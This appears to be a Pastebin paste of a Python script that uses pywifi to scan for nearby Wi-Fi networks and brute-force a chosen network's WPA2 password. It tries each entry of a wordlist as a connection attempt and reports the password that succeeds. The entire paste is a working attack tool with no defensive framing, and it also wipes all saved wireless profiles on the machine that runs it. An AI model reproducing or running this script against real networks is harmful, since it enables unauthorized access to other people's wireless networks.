Advertisement
sajad2004i

Untitled

Nov 16th, 2024
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.54 KB | None | 0 0
  1. import pywifi
  2. from pywifi import const
  3. import time
  4.  
  5. def scan_networks():
  6.     wifi = pywifi.PyWiFi()
  7.     iface = wifi.interfaces()[0]  # Get the first Wi-Fi interface
  8.     iface.scan()  # Start scanning for networks
  9.     time.sleep(2)  # Wait for the scan to complete
  10.     results = iface.scan_results()  # Get the scan results
  11.  
  12.     networks = []
  13.     for network in results:
  14.         networks.append(network.ssid)
  15.  
  16.     return networks
  17.  
  18. def connect_to_wifi(ssid, password):
  19.     wifi = pywifi.PyWiFi()
  20.     iface = wifi.interfaces()[0]
  21.     iface.disconnect()  # Disconnect if already connected
  22.    
  23.     time.sleep(1)
  24.     if iface.status() == const.IFACE_DISCONNECTED:
  25.         profile = pywifi.Profile()  # Create a new Wi-Fi profile
  26.         profile.ssid = ssid
  27.         profile.auth = const.AUTH_ALG_OPEN
  28.         profile.akm.append(const.AKM_TYPE_WPA2PSK)
  29.         profile.cipher = const.CIPHER_TYPE_CCMP
  30.         profile.key = password
  31.  
  32.         iface.remove_all_network_profiles()  # Remove existing profiles
  33.         temp_profile = iface.add_network_profile(profile)  # Add the new profile
  34.        
  35.         iface.connect(temp_profile)  # Attempt to connect
  36.         time.sleep(5)  # Wait for the connection
  37.  
  38.         if iface.status() == const.IFACE_CONNECTED:
  39.             print(f"[+] Successfully connected with password: {password}")
  40.             iface.disconnect()
  41.             return True
  42.         else:
  43.             print(f"[-] Incorrect password: {password}")
  44.             return False
  45.  
  46. def main():
  47.     print("Scanning for available networks...")
  48.     networks = scan_networks()
  49.  
  50.     if not networks:
  51.         print("[-] No networks found.")
  52.         return
  53.  
  54.     print("\nAvailable networks:")
  55.     for i, network in enumerate(networks):
  56.         print(f"{i + 1}. {network}")
  57.  
  58.     choice = int(input("\nSelect the network number to brute force: ")) - 1
  59.  
  60.     if choice < 0 or choice >= len(networks):
  61.         print("[-] Invalid choice.")
  62.         return
  63.  
  64.     ssid = networks[choice]
  65.     print(f"[+] Selected network: {ssid}")
  66.  
  67.     wordlist_path = input("Enter the path to the wordlist file: ")
  68.  
  69.     try:
  70.         with open(wordlist_path, "r") as wordlist:
  71.             for password in wordlist:
  72.                 password = password.strip()
  73.                 if connect_to_wifi(ssid, password):
  74.                     print("[+] Password found!")
  75.                     break
  76.     except FileNotFoundError:
  77.         print("[-] Wordlist file not found.")
  78.     except Exception as e:
  79.         print(f"[-] Error: {e}")
  80.  
  81. if __name__ == "__main__":
  82.     main()
  83.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement